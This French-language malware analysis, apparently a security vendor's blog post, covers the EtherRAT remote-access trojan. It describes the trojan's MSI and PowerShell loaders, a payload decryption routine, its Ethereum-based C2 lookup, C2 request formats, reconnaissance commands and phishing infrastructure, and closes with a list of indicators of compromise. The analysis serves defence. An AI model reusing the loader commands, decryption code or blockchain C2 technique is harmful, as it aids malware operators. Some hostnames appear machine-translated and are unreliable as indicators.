Au sein d'une infrastructure malveillante diffusant EtherRAT, des pages d'hameçonnage et des logiciels malveillants 

| 15 juin 2026
Au sein d'une infrastructure malveillante diffusant EtherRAT, des pages d'hameçonnage et des logiciels malveillants 

Lors de nos récentes activités de détection de menaces, nous avons découvert que le logiciel malveillant EtherRAT était distribué par un site web doté d'une page d'accueil suspecte. Cette page d'accueil nous a permis de mettre au jour une vaste infrastructure malveillante diffusant des logiciels malveillants, des documents malveillants, des logiciels de contrôle à distance et des pages d'hameçonnage. 

EtherRAT est un RAT (Remote Access Trojan) développé en Node.js qui permet à un attaquant de prendre le contrôle total de la machine et d'exécuter du code arbitraire renvoyé par le serveur de commande et de contrôle (C2). Ce logiciel malveillant utilise la blockchain Ethereum pour obtenir le serveur C2, d'où le terme « Ether » dans son nom. EtherRAT est généralement distribué via des fichiers MSI, PowerShell ou des scripts JavaScript. 

Un répertoire ouvert qui distribue EtherRAT : là où tout a commencé 

Lors d'une recherche de menaces, nous avons découvert un répertoire ouvert distribuant des installateurs MSI et des scripts PowerShell, lesquels diffusaient en fin de compte EtherRAT. Dans les cas analysés, ces scripts et installateurs étaient distribués depuis un dossier « /install ». Les versions sont numérotées de 1 à 10. 

Figure 1 : Répertoire ouvert hébergeant EtherRAT MSI 
Open Directory hébergeant EtherRAT MSI 

La page d'accueil qui est revenue a attiré notre attention et nous a incités à explorer plus en profondeur la campagne. 

La page d'accueil renvoyée par le site web de distribution d'EtherRAT 

En analysant les domaines et les adresses IP associées à la distribution EtherRAT, nous avons détecté d'autres pages d'accueil similaires, arborant un thème de piratage. Elles semblaient appartenir à une chaîne de distribution plus vaste, qui diffuse également des logiciels d'hameçonnage, des logiciels de contrôle à distance et d'autres logiciels malveillants. Ces sites web comportent généralement plusieurs dossiers contenant des logiciels malveillants et du contenu lié à l'hameçonnage ; le contenu affiché dépend de la chaîne d'infection spécifique. 

Différents sites web pointant vers les mêmes adresses IP ont déjà renvoyé des pages liées à de fausses entreprises ou à des modèles par défaut. L'utilisation de ces nouvelles pages pourrait donc constituer une méthode pour compliquer la détection par les scanners automatisés ou les chercheurs. Voici quelques exemples de pages d'accueil que nous avons trouvées :

Certains sites web malveillants indexés par Google 

EtherRAT est un RAT intéressant, car il possède peu de lignes de code et permet l'exécution de code arbitraire renvoyé par le serveur C2. De plus, l'utilisation de la blockchain Ethereum pour obtenir le serveur C2 le rend plus résistant aux attaques contre l'infrastructure. 

Analyse technique d'EtherRAT 

Les sites web détectés distribuent généralement un script MSI ou PowerShell avec le nom de la version, tel que v1.msi, v2.ps1, etc. 

Chargeur MSI 

Le fichier MSI « v9.msi » contient trois composants : 

Nom de fichier MSI Description 
KmPuGimn.cmd lanceur BAT 
cDQMlQAru0.xml Premier chargeur Jscript 
MRaQCipBIZeiZNx.log EtherRAT crypté 

Lorsque le fichier MSI est exécuté, le fichier « KmPuGimn.cmd » est lancé : 

conhost --headless cmd /c "KmPuGimn.cmd" 

Ce fichier BAT obfusqué effectue différentes opérations : 

  • Extrait les autres fichiers dans un dossier aléatoire de %LOCALAPPDATA%. 
  • Se réexécute via : 
    • %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa 
  • Exécute la commande « where node » pour trouver une installation existante. 
  • Télécharge Node.js s'il est introuvable. 
    • Utilise « curl -sLo » pour télécharger Node.js depuis le site officiel. 
    • Extrait dans le répertoire d'installation via « tar -xf ». 
    • Renommage du répertoire extrait en « 28Q75h ».
  • Boucle jusqu'à ce que les fichiers « MRaQCipBIZeiZNx.log » et « cDQMlQAru0.xml » existent, puis exécute : 
    • conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml 

Le fichier exécuté « cDQMlQAru0.xml » est un chargeur qui déchiffre le code intégré avec une fonction XOR puis l'exécute avec « vm.compileFunction ». 

decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF 
Le code décrypté intégré 

Le code décrypté : 

  • Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”. 
  • Ajoute une clé de registre pour la persistance avec « conhost.exe –headless ». 
  • Déchiffre « MRaQCipBIZeiZNx.log » et l'exécute avec « _MJlLlt5.exe » stdin. 

L'algorithme de décryptage est un routage de décodage personnalisé de type flux basé sur XOR, des rotations d'octets et un accumulateur : 

for e in range(len(data)): 
    byte = data[e] 
    g = prev 
    prev = byte 
    byte = (byte - g) & 0xff 
    byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff) 
    byte = si[byte] 
    byte = (byte - k[e % len(k)]) & 0xff
    result[e] = byte 

La dernière étape consiste à déployer EtherRAT. EtherRAT permet à l'attaquant de : 

  • Exécuter du code JavaScript arbitraire reçu du serveur C2. Cela permet à l'attaquant d'exécuter de nouvelles commandes, d'effectuer des opérations sur des fichiers et des dossiers, de modifier le registre et d'exfiltrer des données. 
  • Obtenez un nouveau serveur C2 utilisant la blockchain Ethereum. 
  • Se réobscurcir. 
  • Enregistrez les journaux sous « svchost.log ». 
Extrait du code EtherRAT déchiffré 

EtherRAT utilise la méthode JSON-RPC « eth_call » d'Ethereum pour récupérer l'URL C2 active d'un contrat intelligent sur le réseau principal Ethereum.  

Les paramètres de la blockchain dans ce cas sont : 

  • Contrat : 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58 
  • Sélecteur de fonction : 0x7d434425 
  • Argument : 0xf6a772e163e64b07f658946f863b5d457d88f9f0 
Le C2 décodé de la blockchain Ethereum 

Les URL contactées pour obtenir le point de terminaison du serveur C2 sont : 

  • mainnet[.]passerelle[.]tendreusement[.]co 
  • rpc[.]flashbots[.]net/rapide 
  • rpc[.]mevblocker[.]io 
  • eth-mainnet[.]public[.]blastapi[.]io 
  • ethereum-rpc[.]publicnode[.]com 
  • eth[.]drpc[.]org 
  • eth[.]merkle[.]io 

Les requêtes d'interrogation utilisent des modèles d'URL aléatoires basés sur certains paramètres définis dans le code : 

GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id> 
X-Bot-Server: <c2_url> 

Dans l'échantillon analysé, les paramètres sont les suivants : 

  • ID de build : « 6f816d80-0d6c-4384-9cd6-6b79965fc08f » 
  • ext : sélectionné aléatoirement parmi « png », « jpg », « gif », « css », « ico », « webp ». 
  • param : sélectionné aléatoirement parmi « id », « token », « key », « b », « q », « s », « v ». 

Après son démarrage, le RAT envoie son propre code source au serveur C2. Ce dernier répond par une nouvelle version obfusquée du script, qui est enregistrée sur le disque, générant ainsi un nouveau hachage de fichier à chaque exécution. 

POST /api/[REOBF_PATH]/<victim-uuid> 
Body: { "code": "<current_script_contents>", "build": "<build_id>" } 

Après l'exécution d'EtherRAT, nous avons observé différentes activités de cmd.exe après la compromission afin de vérifier l'environnement. Par exemple : 

  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_VideoController).Name”
  • reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid 
  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).Domain” 
  • powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).PartOfDomain” 
  • cmd.exe /d /s /c « session réseau » 
Journaux EtherRAT 

Chargeur PowerShell 

Les activités réalisées par les chargeurs PowerShell sont très similaires à la dernière étape du script JS du programme d'installation MSI : 

  • Télécharge Node.js s'il n'est pas présent. 
  • Créez les répertoires nécessaires. 
  • Décodez l'EtherRAT avec un algorithme de décryptage personnalisé. 
  • Exécutez Node.js avec conhost.exe et la charge utile EtherRAT déchiffrée. 

Nous avons détecté certaines variantes du chargeur PowerShell hébergé sur ces sites web ; notamment que les noms des fonctions et les fonctions de déchiffrement changent dans les scripts PowerShell analysés. 

Déchiffrement de la charge utile EtherRAT avec l'algorithme de déchiffrement personnalisé 

Suivi de l'infrastructure malveillante 

Lors de notre analyse des différents sites web comportant des pages sur le thème du « piratage », nous avons constaté que nombre d'entre eux avaient hébergé par le passé plusieurs pages d'hameçonnage sur certains chemins d'accès spécifiques. Par exemple : 

  • /zht/sharep-redirect.html 
  • /bl/moi.php 
  • /t/équipes 
  • /équipes/ Windows /invite.php 

Il semblerait que ces domaines et adresses IP fassent partie d'une infrastructure bien plus vaste qui diffuse des logiciels malveillants, des tentatives d'hameçonnage, des documents malveillants et des logiciels d'exécution à distance. Il est possible que ces infrastructures soient partagées par plusieurs acteurs malveillants qui activent différents points de terminaison URL en fonction de la campagne menée. 

Il est intéressant de noter que la majorité des domaines liés à cette infrastructure malveillante par le passé renvoyaient également une page HTML relative à un service d’« infrastructure à toute épreuve ».  

Nous avons constaté que ces campagnes d'hameçonnage débutent généralement par des courriels contenant des pièces jointes, telles que des fichiers PDF ou Excel. Ces documents invitent l'utilisateur à cliquer sur un lien pour consulter un autre document. Vous trouverez ci-dessous deux exemples de documents d'hameçonnage joints à ces courriels :

Ces pages d'hameçonnage demandent généralement à l'utilisateur de saisir son adresse électronique, puis poursuivent la chaîne d'infection et diffusent des pages d'hameçonnage ou des logiciels malveillants. Voici quelques exemples de pages d'hameçonnage détectées au sein de l'infrastructure malveillante :

Des erreurs de configuration ont exposé les kits de phishing 

Lors du suivi des sites web malveillants, nous en avons trouvé un avec un répertoire ouvert contenant une partie du kit de phishing utilisé dans les campagnes. 

L'hébergement Open Directory fait partie des kits de phishing

 

Le répertoire ouvert contenait plusieurs dossiers avec du code et des pages liés aux campagnes d'hameçonnage. 

Code du kit de phishing 

De plus, certains domaines étaient mal configurés et permettaient le téléchargement de « cl.zip », qui contenait le code source des pages « URL Cloaker ». 

Extrait du code « URL Cloaker » 

Indicateurs de compromission (IOC) 

Adresses IP 

82[.]165[.]65[.]244 : infrastructure malveillante  

185[.]221[.]216[.]121 : infrastructure malveillante  

43[.]163[.]233[.]166 : infrastructure malveillante  

40[.]160[.]238[.]30 : infrastructure malveillante  

159[.]89[.]227[.]204 : infrastructure malveillante  

57[.]128[.]31[.]168 : infrastructure malveillante  

Domaines 

ivorilla[.]cloud : distribution EtherRAT  

mx[.]nrlwz[.]com : Distribution EtherRAT  

dn[.]eyqwj[.]com : Distribution EtherRAT  

bi[.]mkrjcsw[.]com : Distribution EtherRAT  

dorqen[.]casa : distribution EtherRAT  

kelvra[.]club : distribution EtherRAT  

changement[.]com: EtherRAT C2  

vabelles[.]com : EtherRAT C2  

tranzed[.]org : EtherRAT C2  

kibrisarazi[.]com: EtherRAT C2  

aravisblog[.]com : EtherRAT C2  

publicspeakingtip[.]org : EtherRAT C2  

Remerciements​ 


Empêchez les menaces de faire du mal.

Malwarebytes Browser Guard Bloque automatiquement les pages d'hameçonnage et les sites malveillants. Gratuit, installation en un clic. Ajoutez-le à votre navigateur →

À propos de l'auteur

Gabriele est ingénieur de recherche en logiciels malveillants et passionné par la lutte contre les logiciels malveillants. Lorsqu'il n'est pas occupé à cela, il aime profiter de la nature, de l'art et des animaux.